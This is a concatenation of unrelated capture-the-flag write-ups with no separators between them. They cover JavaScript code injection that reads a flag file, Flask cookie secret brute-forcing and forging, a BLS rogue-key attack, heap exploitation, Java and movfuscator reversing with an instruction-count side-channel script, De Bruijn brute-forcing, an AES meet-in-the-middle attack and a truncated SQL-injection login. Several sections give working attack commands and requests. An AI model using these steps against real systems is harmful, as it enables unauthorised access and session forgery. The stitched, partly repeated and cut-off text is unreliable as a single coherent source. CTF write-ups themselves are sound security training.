## JSCLEAN : The description of this challenge was : "JavaScript Cleaning Service: Transform ugly JavaScript files to pretty clean JavaScript files!". In the description there was also a python file to download with this code: ```pythonimport osimport sysimport subprocess def main(argv): print("Welcome To JavaScript Cleaner") js_name = input("Enter Js File Name To Clean: ") code = input("Submit valid JavaScript Code: ") js_name = os.path.basename(js_name) # No Directory Traversal for you if not ".js" in js_name: print("No a Js File") return with open(js_name,'w') as fin: fin.write(code) p = subprocess.run(['/usr/local/bin/node','index.js','-f',js_name],stdout=subprocess.PIPE); print(p.stdout.decode('utf-8')) main(sys.argv) ``` The first thing I tried was to call the file with a random name and insert some javascript code to see what I would get.All i got was a beautifier : ![test](https://user-images.githubusercontent.com/59454895/80551634-09d48100-89bc-11ea-8e5e-8690c86ff36f.PNG) Looking in the python code i discovered that with the subprocess.run() is executing an external command where an "index.js" is taken, so i tried to call the file "index.js" and put some javascript, discovering that I had managed to inject it. ![Esorcista](https://user-images.githubusercontent.com/59454895/80551972-22916680-89bd-11ea-9fc4-7ae28fd5e679.PNG) Now we have just to extract the flag , i did it injecting this code :" const fs = require('fs');const a = fs.readFileSync('flag.txt', 'utf8');console.log(a) " The flag is served : ![Capture](https://user-images.githubusercontent.com/59454895/80552374-5ae57480-89be-11ea-9f4d-7d087fb70550.PNG) Flag: flag{Js_N3v3R_FuN_2_Re4d}
The website is using flask. A page is reserved for premium member. We know that flask cookie have some issues. We place an order. Login as toto:toto get the cookie and pass it to flask-unsign. The tool can decode it as the secret is only use to sign the cookie. ```$flask-unsign -d -c 'eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoidG90byJ9.Xp2SeA.1l6nDFaIsDZ8bCXcxdtORRVIBK0'{'flagship': False, 'username': 'toto'}``` We need to get the secret to forge our own cookie ```$ flask-unsign --server https://cookie-forge.cha.hackpack.club/orders --unsign[*] Server returned HTTP 302 (Found)[+] Successfully obtained session cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIllvdSBtdXN0IGxvZyBpbiBmaXJzdCEiXX1dfQ.Xp2TwA.IiGnkGfSx0j-O_vLTjmUyU95zLQ[*] Session decodes to: {'_flashes': [('warning', 'You must log in first!')]}[*] No wordlist selected, falling back to default wordlist..[*] Starting brute-forcer with 8 threads..[+] Found secret key after 39090 attempts'password1'``` We modify the flagship value and sign our cookie with the secret password1 ```$ flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJ0b3RvIn0.Xp2TRQ.XlXCKJYANDb9ghp5ms_fKQhTkVY``` Using Burp repeater we modify our cookie to get the flag ```GET /flag HTTP/1.1Host: cookie-forge.cha.hackpack.clubCookie: session=eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJ0b3RvIn0.Xp2TRQ.XlXCKJYANDb9ghp5ms_fKQhTkVYUpgrade-Insecure-Requests: 1 HTTP/1.1 200 OKContent-Length: 2617Content-Type: text/html; charset=utf-8Date: Mon, 20 Apr 2020 12:26:22 GMTServer: meinheld/1.0.1Vary: Cookie<SNIP>You are a <em>special</em> customer! To come back for more, sugar-coma after sugar-coma, in the face of mounting pressure from your doctors, your family, and your own common sense… That's dedication.Just to show our appreciation for your morbid commitment to our life-altering products, we're giving you this flag:flag{0h_my_@ch1ng_p@ncre@5_th33$3_@r3_d3l1c10$0}``` You are a <em>special</em> customer! To come back for more, sugar-coma after sugar-coma, in the face of mounting pressure from your doctors, your family, and your own common sense… That's dedication. Just to show our appreciation for your morbid commitment to our life-altering products, we're giving you this flag:
# brillouin 500 points, Crypto ## Descriptionbrillouin is an exciting new b l o c c c h a i n authentication provider. you can tell how decentralized it is because the signatures are so small! nc crypto.chal.csaw.io 1004 Author: (@japesinator, @trailofbits) Files: [brillouin.py](brillouin.py) ## Solution Basic inspection of the file reveals that BLS Signature Scheme is used to sign and verify here. Googling here and there revealthat it makes use of a function `e` called bilinear pairing function. It works on a pair of points on some elliptic curve and returns a point on some other curve. It has a property that - ```e(x + y, z) = e(x, z) * e(y, z)``` We don't need to know the actual structure of the function, just this property is enough. In BLS scheme, secret key `sk` is some integer and public key is the point `sk * g` where `g` is the generator of the curve. We sign a message `m` by first hashing this message to some point using a hash function `H` and then multiplying it with our secret key `sk`: `signature = sk * hash(m)` We verify a message by comparing the values `e(g, signature)` and `e(pk, hash(m))`, the signature is valid if both of them evaluate to the same point. ```if e(g, signature) == e(pk, hash(m)): print("signature is valid")``` Why is this correct? Because for a valid signature: `e(g, signature) = e(g, sk * hash(m)) = e(g, hash(m)) * e(g, hash(m)) * e(g, hash(m)) ....` (`sk` times) ` = e(g * sk, hash(m)) = e(pk, hash(m))` In BLS signature scheme we also have a concept called aggregation which is basically a linear operation over the public keys/ signatures. Coefficients are determined by the `lagrange_basis` function ([defination](https://github.com/asonnino/bls/blob/master/bls/utils.py#L13)). Aggregation is used in multiparty signature schemes,details of which I would be skipping, but you may read over [here]() Now for the challenge, lets collect what all we have; We have three public keys `pA`, `pB` and `pC`. We can get message "ham"signed by `pA`, `pB` is good for nothing and `pC` is the most useful - we can get any of our message signed. End goal - we need to give them three public keys `p1`, `p2` and `p3` and two signatures `s1` and `s2` such that aggregation of `s1` and `s2`is a valid signature of the public key obtained by aggregation of `p1`, `p2` and `p3` for the message "this stuff". There are some constraints too - `s1` and `s2` cannot be same ([here](brillouin.py#L65)), `p1` and `p2` must be one of the `pA`, `pB` and `pC`, though they can be same ([here](brillouin.py#L51)). _We have no limitations for `p2`_. This is our catch. We use`lagrange_basis` function to calculate the coefficients, referring the code from [here](https://github.com/asonnino/bls/blob/master/bls/scheme.py#L69) ```pythonfrom bls.scheme import setup def lagrange_basis(t, o, i, x=0): numerator, denominator = 1, 1 for j in range(1,t+1): if j != i: numerator = (numerator * (x - j)) % o denominator = (denominator * (i - j)) % o return (numerator * denominator.mod_inverse(o)) % o params = setup()(G, o, g1, g2, e) = params# for 2 signaturesl = [lagrange_basis(2, o, i, 0) for i in range(1,3)]print l# for 3 public keysl = [lagrange_basis(3, o, i, 0) for i in range(1,4)]```Output comes out to be - ```[2, 16798108731015832284940804142231733909759579603404752749028378864165570215948][3, 16798108731015832284940804142231733909759579603404752749028378864165570215946, 1]``` It is important to see that the difference between the two large numbers is 2. Let us call them `L` and `L-2`. So we now have to plug such values of `s1`, `s2`, `p1`, `p2` and `p3`such that: ```e(g, 2*s1 + L*s2) == e(3*p1 + (L-2)*p2 + p3, hash("this stuff"))```Now suppose I sign the message "this stuff" with my key and pass that in `s2` and get the sign of `pC` on the same message, I will get two signs of the required message. Let's create a dummy public + secret key pair `sk0 = 3` and `p0 = 3*g` and sign "this stuff" with it and get `s0`. Lets call the sign from `pC` - `sC`. So, ```e(pC, hash("this stuff")) = e(g, sC)e(p0, hash("this stuff")) = e(g, s0)``` Now what we do is also called Rogue Public Key attack, but lets not use these terms here. Rather a simple explaination - If I put `p1 = pC`, `p2 = pC` and `p3 = 2*p0 - pC`: ``` e( 3*p1 + (L-2)*p2 + p3, hash("this stuff")) = e( (L+1)*pC + 2*p0 - pC, hash("this stuff")) = e( L*pC + 2*p0, hash("this stuff")) = e( pC, hash("this stuff") ) * e( pC, hash("this stuff") ) .... * e( p0, hash("this stuff") ) * e( p0, hash("this stuff") ) = e( g, sC ) * e( g, sC ) .... * e( g, s0 ) * e( g, s0 ) = e( g, 2*s0 + L*sC ) ``` Voila! I can pass `s0` and `sC` as the signatures! And you get the flag on running the script: ```flag{we_must_close_the_dh_gap} ```
Off-by-null. Corrupt heap metadata and trick `malloc()` into creating overlapping chunks, then: 1) Leak libc base address by printing out a smallbin libc pointer;2) Overwrite `bk` of a fastbin chunk, in order to create a fake fastbin chunk. Overwrite `__malloc_hook` with a one_gadget address.
# Tough Writeup Tough was the final Java reversing problem (minus the apk) in Houseplant CTF 2020. Basically, if you find the correct input string, it will decode correctly into the specified unicode string.During the CTF, the given source file actually had some issues, so the creator gave us the integer values for the characters to be compared to after decoding.```javaint[] realsolutionarr = {157, 157, 236, 168, 160, 162, 171, 162, 165, 199, 169, 169, 160, 194, 235, 207, 227, 210, 157, 203, 227, 104, 212, 202}; for (int z = 0; z < realsolutionarr.length; z++){ realsolution += (char)realsolutionarr[z];}return thefinalflag.equals(realsolution);``` As for the source file itself, it just has a bunch of jumbled variable names, but nothing too difficult. Note that I stripped the user input part for just a placeholder string, just to make things somewhat more efficient. ## What it does to your input Basically, in the `tough` class, there are two static integer arrays that are scrambled versions of numbers 0 to 23. Your input and a key like variable will then be scrambled with both variations based on those two arrays.```javapublic static int[] realflag = {9,4,23,8,17,1,18,0,13,7,2,20,16,10,22,12,19,6,15,21,3,14,5,11};public static int[] therealflag = {20,16,12,9,6,15,21,3,18,0,13,7,1,4,23,8,17,2,10,22,19,11,14,5};public static HashMap<Integer, Character> theflags = new HashMap<>();public static HashMap<Integer, Character> theflags0 = new HashMap<>();public static HashMap<Integer, Character> theflags1 = new HashMap<>();public static HashMap<Integer, Character> theflags2 = new HashMap<>(); //note that this one is never really used in the program-------------------------------------------------------------//scramblerpublic static void createMap(HashMap owo, String input, boolean uwu){ if(uwu){ for(int i = 0; i < input.length(); i++){ owo.put(realflag[i],input.charAt(i)); } } else{ for(int i = 0; i < input.length(); i++){ owo.put(therealflag[i],input.charAt(i)); } }}```When checking the string, it first ensures if your string is the same length as the key, which is length 24. If it is not, it just exits. Afterwards, it just follows a few simple loops to decode (based on adding characters from the different scrambled input and key) as shown below. The only one that is interesting is the last one, in which it adds the value 10 to any characters in a certain range.```javapublic static boolean check(String input){ boolean h = false; String flag = "ow0_wh4t_4_h4ckr_y0u_4r3"; createMap(theflags, input, m); createMap(theflags0, flag, g); createMap(theflags1, input, g); createMap(theflags2, flag, m); String theflag = ""; String thefinalflag = ""; int i = 0; if(input.length() != flag.length()){ return h; } //rtcp{h3r3s_a_fr33_fl4g!} for(; i < input.length()-3; i++){ theflag += theflags.get(i); } for(; i < input.length();i++){ theflag += theflags1.get(i); } for(int p = 0; p < theflag.length(); p++){ thefinalflag += (char)((int)(theflags0.get(p)) + (int)(theflag.charAt(p))); } for(int p = 0; p < theflag.length(); p++){ if((int)(thefinalflag.charAt(p)) > 145 && (int)(thefinalflag.charAt(p)) < 157){ thefinalflag = thefinalflag.substring(0,p) + (char)((int)(thefinalflag.charAt(p)+10)) + thefinalflag.substring(p+1); } }-------------------------------------------------------------}```If the result of these transformations does not equal the intended string mentioned earlier, you will recieve an `Access Denied` output. If it succeeds, you will recieve an `Access Granted` output. ## How to Solve It's just like all the other Java reversing challenges in this CTF. Simply reverse the operations from the last loop to the first loop.Perhaps one thing to note is that for the final loop, it can be reversed by making an assumpting that if any char - 10 falls within the conditional range, we use char - 10; otherwise, we use the original one.The only other thing to note is that you have to descramble the string you recieve from reversing those loops to recieve the correct input. Below is my solve script with comments (it can also be found in this same folder). Do note that this won't give the exact flag as you will see later:```javaimport java.util.*; public class tough{ public static int[] tflag = {9,4,23,8,17,1,18,0,13,7,2,20,16,10,22,12,19,6,15,21,3,14,5,11}; //24 //[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23] public static int[] fflag = {20,16,12,9,6,15,21,3,18,0,13,7,1,4,23,8,17,2,10,22,19,11,14,5}; //24 //[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23] public static HashMap<Integer, Character> theflags = new HashMap<>(); public static HashMap<Integer, Character> theflags0 = new HashMap<>(); public static HashMap<Integer, Character> theflags1 = new HashMap<>(); private static final int LENGTH = 24; public static void createMap(HashMap owo, String input, boolean uwu) { if(uwu) { for(int i = 0; i < input.length(); i++) { owo.put(tflag[i], input.charAt(i)); } } else { for(int i = 0; i < input.length(); i++) { owo.put(fflag[i], input.charAt(i)); } } } public static int find(int[] arr, int target) { for (int i = 0; i < arr.length; i++) { if (arr[i] == target) { return i; } } return -1; } public static void main(String args[]) { String placeholder = "AAAAAAAAAAAAAAAAAAAAAAAA"; //just a placeholder System.out.println(generate(placeholder)); } public static String generate(String placeholder) { int i = 0; String key = "ow0_wh4t_4_h4ckr_y0u_4r3"; //length 24 createMap(theflags, placeholder, true); //maps theflags with key from tflag and values from input (placeholder) createMap(theflags0, key, false); //maps theflags0 with key from fflag and values from key createMap(theflags1, placeholder, false); //maps theflags1 with key from fflag and values from input String solution = ""; int[] realsolutionarr = {157, 157, 236, 168, 160, 162, 171, 162, 165, 199, 169, 169, 160, 194, 235, 207, 227, 210, 157, 203, 227, 104, 212, 202}; for (int z = 0; z < realsolutionarr.length; z++) { solution += (char)realsolutionarr[z]; //rebuilding the answer from the hint given, original source file had some issues with the answer } HashMap<Integer, Character> smap1 = theflags; //points to scrambled maps HashMap<Integer, Character> smap2 = theflags1; String presolution = ""; //the stage before the final char additions String answer = ""; //correct user input //if charAt(p) - 10 > 145 or < 157, we can use char - 10 it cause it was simple addition to the char for (int p = 0; p < LENGTH; p++) { if ((int)(solution.charAt(p)-10) > 145 && (int)(solution.charAt(p)-10) < 157) { solution = solution.substring(0, p) + (char)((int)(solution.charAt(p)-10)) + solution.substring(p+1); } } //afterwards, we're just reversing the original operations for (int p = 0; p < LENGTH; p++) { presolution += (char)((int)(solution.charAt(p)) - (int)(theflags0.get(p))); } for (i = 0; i < LENGTH-3; i++) { smap1.put(i, presolution.charAt(i)); } for (; i < LENGTH; i++) { smap2.put(i, presolution.charAt(i)); } //unscrambling time Character[] ansarr = new Character[24]; for (i = 0; i < LENGTH; i++) { ansarr[i] = smap1.get(tflag[i]); } for (i = 21; i < LENGTH; i++) { ansarr[tough.find(fflag, i)] = smap2.get(i); } for (Character c : ansarr) { answer += c.toString(); } return answer; }}```However, this string doesn't seem to be the flag. This algorithm actually leads to duplicates, so some fiddling/guesswork must be done to obtain the final flag: `rtcp{h3r3s_4_c0stly_fl4g_4you}`
We are sent to a page that has >Johnson!>>These dang computers are being troublesome again. Can you please send me a file from the storage server? http://storage.zoop/quarterly_report.txt>>Thank you.>>-Frank >Ok, boomer. Sending that along now. It gives us the option to attach a URL and preview it before hitting send. The URL for quarterly_report.txt is blank when i tried to view it.So I attempted the base URL, http://storage.zoop/ and hit preview, which gave me a directory listing and i can see that flag.txt is in it. Previewed http://storage.zoop/flag.txt and got the flag WPI{tH4nKs_z00m3r_jh0n50n}
# rev1## DescriptionPatience is the Key! ## Lookup```therealbobo@home ijctf/rev1 (master*) $ file main main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, strippedtherealbobo@hometherealbobo@home ijctf/rev1 (master*) $ ./main _________ .____ .__ / _____/ ____ ____ __ _________ ____ | | ____ ____ |__| ____ \_____ \_/ __ \_/ ___\| | \_ __ \_/ __ \ | | / _ \ / ___\| |/ \ / \ ___/\ \___| | /| | \/\ ___/ | |__( <_> ) /_/ > | | \/_______ /\___ >\___ >____/ |__| \___ > |_______ \____/\___ /|__|___| / \/ \/ \/ \/ \/ /_____/ \/ Login: AAAAAAA!!!INTRUDER ALERT!!!``` ## SolutionFirst of all I opened 'main' in radare2:```therealbobo@home ijctf/rev1 (master*) $ r2 mainNot loading library because it has already been loaded from somewhere else: '/usr/lib/radare2/4.3.1/core_ghidra.so' -- Radare2 is like violence. If it doesn't solve your problem, you aren't using enough.[0x0804906c]> aa[x] Analyze all flags starting with sym. and entry0 (aa)[0x0804906c]> afl0x0804906c 1 33151 entry00x08049050 1 6 sym.imp.sigaction0x08049010 1 6 sym.imp.getline0x08049030 1 6 sym.imp.puts0x08049020 1 6 sym.imp.printf0x08049040 1 6 sym.imp.exit[0x0804906c]> s entry0 [0x0804906c]> pdfDo you want to print 6073 lines? (y/N) y ;-- section..text: ;-- eip:┌ 33151: entry0 (int32_t arg_4h, int32_t arg_8h);│ ; arg int32_t arg_4h @ esp+0x4│ ; arg int32_t arg_8h @ esp+0x8│ 0x0804906c 892540c33f08 mov dword [0x83fc340], esp ; [0x83fc340:4]=0 ; [11] -r-x section size 33151 named .text│ 0x08049072 8b2530c33f08 mov esp, dword [0x83fc330] ; [0x83fc330:4]=0x85fc380│ 0x08049078 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x0804907f 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x08049086 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x0804908d 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x08049094 c704240b0000. mov dword [esp], 0xb ; [0xb:4]=-1 ; 11│ 0x0804909b c7442404e4c3. mov dword [arg_4h], 0x85fc3e4 ; [0x85fc3e4:4]=0x8049060│ 0x080490a3 c74424080000. mov dword [arg_8h], 0│ 0x080490ab e8a0ffffff call sym.imp.sigaction ; int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)│ 0x080490b0 8b2530c33f08 mov esp, dword [0x83fc330] ; [0x83fc330:4]=0x85fc380│ 0x080490b6 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x080490bd 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x080490c4 8ba42498ffdf. mov esp, dword [esp - 0x200068]│ 0x080490cb c70424040000. mov dword [esp], 4│ 0x080490d2 c744240470c4. mov dword [arg_4h], 0x85fc470 ; [0x85fc470:4]=0x80490e7│ 0x080490da c74424080000. mov dword [arg_8h], 0│ 0x080490e2 e869ffffff call sym.imp.sigaction ; int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)│ 0x080490e7 8b2530c33f08 mov esp, dword [0x83fc330] ; [0x83fc330:4]=0x85fc380│ 0x080490ed a15cc33f08 mov eax, dword [0x83fc35c] ; [0x83fc35c:4]=1│ 0x080490f2 8b048550c33f. mov eax, dword [eax*4 + 0x83fc350]│ 0x080490f9 c70001000000 mov dword [eax], 1│ 0x080490ff c7055cc33f08. mov dword [0x83fc35c], 0 ; [0x83fc35c:4]=1│ 0x08049109 a140c33f08 mov eax, dword [0x83fc340] ; [0x83fc340:4]=0│ 0x0804910e ba04000000 mov edx, 4│ 0x08049113 a3f0c11f08 mov dword [0x81fc1f0], eax ; [0x81fc1f0:4]=0│ 0x08049118 8915f4c11f08 mov dword [0x81fc1f4], edx ; [0x81fc1f4:4]=0│ 0x0804911e b800000000 mov eax, 0...```It appeares to be **movfuscated binary**: _"the M/o/Vfuscator (short 'o', sounds like "mobfuscator") compiles programs into "mov" instructions, and only "mov" instructions"_ (https://github.com/xoreaxeaxeax/movfuscator). At this point there are several ways to solve this challenge:* reverse by hand over 6000 lines of assembly (maybe as the last resort)* find some tools to simplify the process* try a dirty hack Obviously I tried to search something to simplify my work: I found "_Demovfuscator_", a cool tool that can recover a movfuscated binary and/or generate a flowchart of the binary. Cool, right?I git cloned it, compiled it and run on the main (_./demov -o patched.bin main_). Then I opened the patched binary in radare2 but it still was long to reverse...So I tried another way and used _demov_ to take a look at the flow of the binary.```./demov -g cfg.dot maincat cfg.dot | dot -Tpng > cfg.pngfeh cfg.png``` ![alt text](https://github.com/therealbobo/ctf-writeups/raw/master/2020/ijctf/rev1/cfg.png "Program Flow") I wrote a small gdb python script trying to understand the correct input based on the number of instruction executed: it didn't work. At this point I found _perf_ (a linux profiling with performance counters _https://perf.wiki.kernel.org/index.php/Main_Page_): with the command _stat_ it can retrieve some useful information and in particular with the _-e instruction:u_ it will output the number of instruction perfomed in user space... so I tried the dirtiest way: a bash script. ```bashreadarray -t PRINTABLES < <( echo '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()+,-./:;<=>?@[\]^_`\{|\}~' | fold -w1 ) FLAG=''while [ "${FLAG: -1}" != '}' ]; do FLAG=$FLAG$( for C in ${PRINTABLES[@]} ; do INSTRUCTIONS=$(echo "$FLAG$C" | perf stat -x: -e instructions:u ./main 2>&1| grep instruction | cut -d: -f1) echo "$INSTRUCTIONS:$C" done | sort -n | head -n1 | cut -d: -f2 ) echo $FLAGdone``` ![alt text](https://github.com/therealbobo/ctf-writeups/raw/master/2020/ijctf/rev1/demo.gif "demo gif") And that's the flag :D```IJCTF{m0v_1s_tur1ng_c0mpl3t3}```
# IJCTF 2020 - vault ## Description>We locked our secret box, You can directly ping the bot (@Vault #8895 ) using "start" to get the secret but we don't know the door code we used random() also we used sleep(10).shift register... Author : `Harsh` and `warlock_rootx` **Hint*** if pin in user_input(): ## Solution We started to talk with the discord bot (```start```):Time to test your lock picking skills ```I AM _ _ _ _ _ _ _ LOCKED [ 0 ] [ 1 ]```We guessed that the vault password was seven character long and contained only 0 and 1. After some random test we realized that some times a password was accepted (and we were prompted with the next phase of the lock picking) and other times it was wrong. We understood (Hint) that the password had to be a substring of the text we submitted.Discord limit the length of a message by 2000 character, too little to list all the possibilities of the pin with lenghts of seven in binary.Luckily we knew the [De Brujin sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence).We generated all the string for the various lock picking test. Time to test your lock picking skills``` I AM _ _ _ _ _ _ _ LOCKED [ 0 ] [ 1 ]```>00000001000001100001010000111000100100010110001101000111100100110010101001011100110110011101001111101010110101111011011101111111000000 First lock opened! Hurry up and open the next one before the gaurds show up``` I AM _ _ _ _ _ _ LOCKED [ 4 ] [ 5 ] [ 6 ]```>44444454444464444554444564444654444664445454445464445554445564445654445664446454446464446554446564446654446664454454464454554454564454654454664455454455464455554455564455654455664456454456464456554456564456654456664464464554464564464654464664465454465464465554465564465654465664466454466464466554466564466654466664545454645455545455645456545456645464645465545465645466545466645545545645546545546645554645555545555645556545556645564645565545565645566545566645645646545646645654645655545655645656545656645664645665545665645666545666646464655464656464665464666465465466465555465556465565465566465655465656465665465666466466555466556466565466566466655466656466665466666555555655556655565655566655655656655665655666656565666566566666644444 Second Lock Opened! Dang your a professional. Third lock now...``` I AM _ _ _ _ LOCKED [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ]```>5555655575558555955665567556855695576557755785579558655875588558955965597559855995656575658565956665667566856695676567756785679568656875688568956965697569856995757585759576657675768576957765777577857795786578757885789579657975798579958585958665867586858695876587758785879588658875888588958965897589858995959665967596859695976597759785979598659875988598959965997599859996666766686669667766786679668766886689669766986699676768676967776778677967876788678967976798679968686968776878687968876888688968976898689969697769786979698769886989699769986999777787779778877897798779978787978887889789878997979887989799879998888988998989999555 Third lock open, now you have to be fast.``` I AM _ _ _ _ _ LOCKED [ 1 ] [ 2 ] [ 3 ] [ 4 ]```>11111211113111141112211123111241113211133111341114211143111441121211213112141122211223112241123211233112341124211243112441131211313113141132211323113241133211333113341134211343113441141211413114141142211423114241143211433114341144211443114441212212123121241213212133121341214212143121441221312214122221222312224122321223312234122421224312244123131231412322123231232412332123331233412342123431234412413124141242212423124241243212433124341244212443124441313213133131341314213143131441321413222132231322413232132331323413242132431324413314133221332313324133321333313334133421334313344134141342213423134241343213433134341344213443134441414214143141441422214223142241423214233142341424214243142441432214323143241433214333143341434214343143441442214423144241443214433144341444214443144442222232222422233222342224322244223232232422333223342234322344224232242422433224342244322444232332323423243232442332423333233342334323344234242343323434234432344424243242442433324334243432434424433244342444324444333334333443343433444343443444441111 Fourth lock open. Come on just two more...``` I AM _ _ _ _ LOCKED [ 0 ] [ 1 ] [ 2 ] [ 5 ] [ 8 ] [ 9 ]```>000010002000500080009001100120015001800190021002200250028002900510052005500580059008100820085008800890091009200950098009901010201050108010901110112011501180119012101220125012801290151015201550158015901810182018501880189019101920195019801990202050208020902110212021502180219022102220225022802290251025202550258025902810282028502880289029102920295029802990505080509051105120515051805190521052205250528052905510552055505580559058105820585058805890591059205950598059908080908110812081508180819082108220825082808290851085208550858085908810882088508880889089108920895089808990909110912091509180919092109220925092809290951095209550958095909810982098509880989099109920995099809991111211151118111911221125112811291152115511581159118211851188118911921195119811991212151218121912221225122812291252125512581259128212851288128912921295129812991515181519152215251528152915521555155815591582158515881589159215951598159918181918221825182818291852185518581859188218851888188918921895189818991919221925192819291952195519581959198219851988198919921995199819992222522282229225522582259228522882289229522982299252528252925552558255925852588258925952598259928282928552858285928852888288928952898289929295529582959298529882989299529982999555585559558855895598559958585958885889589858995959885989599859998888988998989999000 Last one...``` I AM _ _ _ _ _ _ _ _ _ _ _ LOCKED [ 0 ] [ 1 ]``` The minimum length of the De Bruijn sequence is 2058... We deleted the last 58 character and it still worked.>000000000001000000000110000000010100000000111000000010010000000101100000001101000000011110000001000100000010011000000101010000001011100000011001000000110110000001110100000011111000001000010000010001100000100101000001001110000010100100000101011000001011010000010111100000110001000001100110000011010100000110111000001110010000011101100000111101000001111110000100001100001000101000010001110000100100100001001011000010011010000100111100001010001000010100110000101010100001010111000010110010000101101100001011101000010111110000110001100001100101000011001110000110100100001101011000011011010000110111100001110001000011100110000111010100001110111000011110010000111101100001111101000011111110001000100100010001011000100011010001000111100010010011000100101010001001011100010011001000100110110001001110100010011111000101000110001010010100010100111000101010010001010101100010101101000101011110001011001100010110101000101101110001011100100010111011000101111010001011111100011000111000110010010001100101100011001101000110011110001101001100011010101000110101110001101100100011011011000110111010001101111100011100101000111001110001110100100011101011000111011010001110111100011110011000111101010001111011100011111001000111110110001111110100011111111001001001010010010011100100101011001001011010010010111100100110011001001101010010011011100100111011001001111010010011111100101001011001010011010010100111100101010011001010101010010101011100101011011001010111010010101111100101100111001011010110010110110100101101111001011100110010111010100101110111001011110110010111110100101111111001100110110011001110100110011111001101001110011010101100110101101001101011110011011010100110110111001101110110011011110100110111111001110011110011101010100111010111001110110110011101110100111011111001111010110011110110100111101111001111101010011111011100111111011001111111010011111111101010101011010101011110101011011101010111011010101111110101101011101011011011010110111110101110111101011110111010111110110101111111101101101111011011101110110111111101110111111011110111110111111111110000000000 ```IJCTF{0p3n3d_d3_bru1jn_v4ul75}```
# IJCTF 2020 - Space! ## Description```Damn this weird boss. He doesn't let me use keys longer than 2 characters? How am i supposed to make anything secure with 2 byte keys? I know i know, i'll just encrypt everything 4 times with different keys, so its 8 characters! Im a genius! Here is your message: NeNpX4+pu2elWP+R2VK78Dp0gbCZPeROsfsuWY1Knm85/4BPwpBNmClPjc3xA284And here is your flag: N2YxBndWO0qd8EwVeZYDVNYTaCzcI7jq7Zc3wRzrlyUdBEzbAx997zAOZi/bLinVj3bKfOniRzmjPgLsygzVzA==``` Author: `Ignis` In this crypto challenge, we were given a [python script](https://github.com/Bonfee/CCIT20-writeups/blob/master/IJCTF2020/space/spacechallenge.py) containing an AES CBC implementation that used only 2 bytes of security for each key. The keys were generated in the format:```2 random lower/upper case letters or numbers + 14 null bytes``` For example:```python\x34\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00``` In the python script, there was the corresponding plaintext of the encrypted message that we were given in the challenge description. Message: ```pythonb"Its dangerous to solve alone, take this" + b"\x00"*9``` Ciphertext: ```NeNpX4+pu2elWP+R2VK78Dp0gbCZPeROsfsuWY1Knm85/4BPwpBNmClPjc3xA284``` ## Working`Message` -> AES Encrypt (key1) -> AES Encrypt (key2) -> AES Encrypt (key3) -> AES Encrypt (key4) -> `Ciphertext` ## Encryption used The keys' two random bytes were picked using this alphabet.```python>>> alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits>>> len(alphabet)62```Bruteforcing a single key meant trying 62^{2} = 3844 different combinations. So normally bruteforcing all the 4 keys would have taken3844^{4} = 218340105584896 tries. ## SolutionInstead of normally bruteforcing the keys we can bruteforce all the first two encryptions combinations and then all the last two decryptions combinations. By doing this we drastically reduce the computational difficulty of the problem from3844^{4} to 3844^{2} * 2 = 29552672 combinations to try. After writing this [python script](https://github.com/Bonfee/CCIT20-writeups/blob/master/IJCTF2020/space/expl.py), we generated all the possible keys and calculated all the possible first two encryptions on the plain message: ` Message `-> AES Encrypt (key1) -> AES Encrypt (key2) -> ` sometext ` And all the possible last two decryptions on the ciphertext: ` Ciphertext `-> AES Decrypt (key4) -> AES Decrypt (key3) -> ` sometext ` After finding a corresponding texts pair, we have successfully found the keys used to encrypt the original message. After using the 4 recovered keys to decrypt the flag we get: ` ijctf{sp4ce_T1me_Tr4d3off_is_c00l_but_crYpt0_1s_c00l3r_abcdefgh} ` ## Participants| ![image](https://github.com/Bonfee.png?size=200) | ![image](https://github.com/timmykill.png" ) | || ------------- | ------------- | ------------- || [@bonfee](https://github.com/Bonfee) | [@timmykill](https://github.com/timmykill) | @Centottanta |
# Houseplant CTF 2020 – I don't like needles * **Category:** web* **Points:** 50 ## Challenge > They make me SQueaL!> > http://challs.houseplant.riceteacatpanda.wtf:30001> > Dev: Tom ## Solution The name of the challenge seems to be related to SQL injection. The webpage contains an authentication form. The HTML source contains an interesting comment. ```html <html><head> <title>Super secure login portal</title> <style> .container { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } body { font-family: sans-serif; } </style> </head><body> <div class="container"> <h1>Super secure login portal</h1> <form method="POST"> <span>Username: </span><input type="text" name="username"> <span>Password: </span><input type="password" name="password"> <input type="submit"> </form> </div> </body></html>``` Connecting to `http://challs.houseplant.riceteacatpanda.wtf:30001/?sauce` webpage you can read the source code. ```php <html><head> <title>Super secure login portal</title> <style> .container { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } body { font-family: sans-serif; } </style> </head><body> <div class="container"> <h1>Super secure login portal</h1> Auth fail :("; } else { $connection = new mysqli($SQL_HOST, $SQL_USER, $SQL_PASS, $SQL_DB); $result = mysqli_query($connection, "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'", MYSQLI_STORE_RESULT); if ($result === false) { echo "I don't know what you did but it wasn't good."; } else { if ($result->num_rows != 0) { if (mysqli_fetch_array($result, 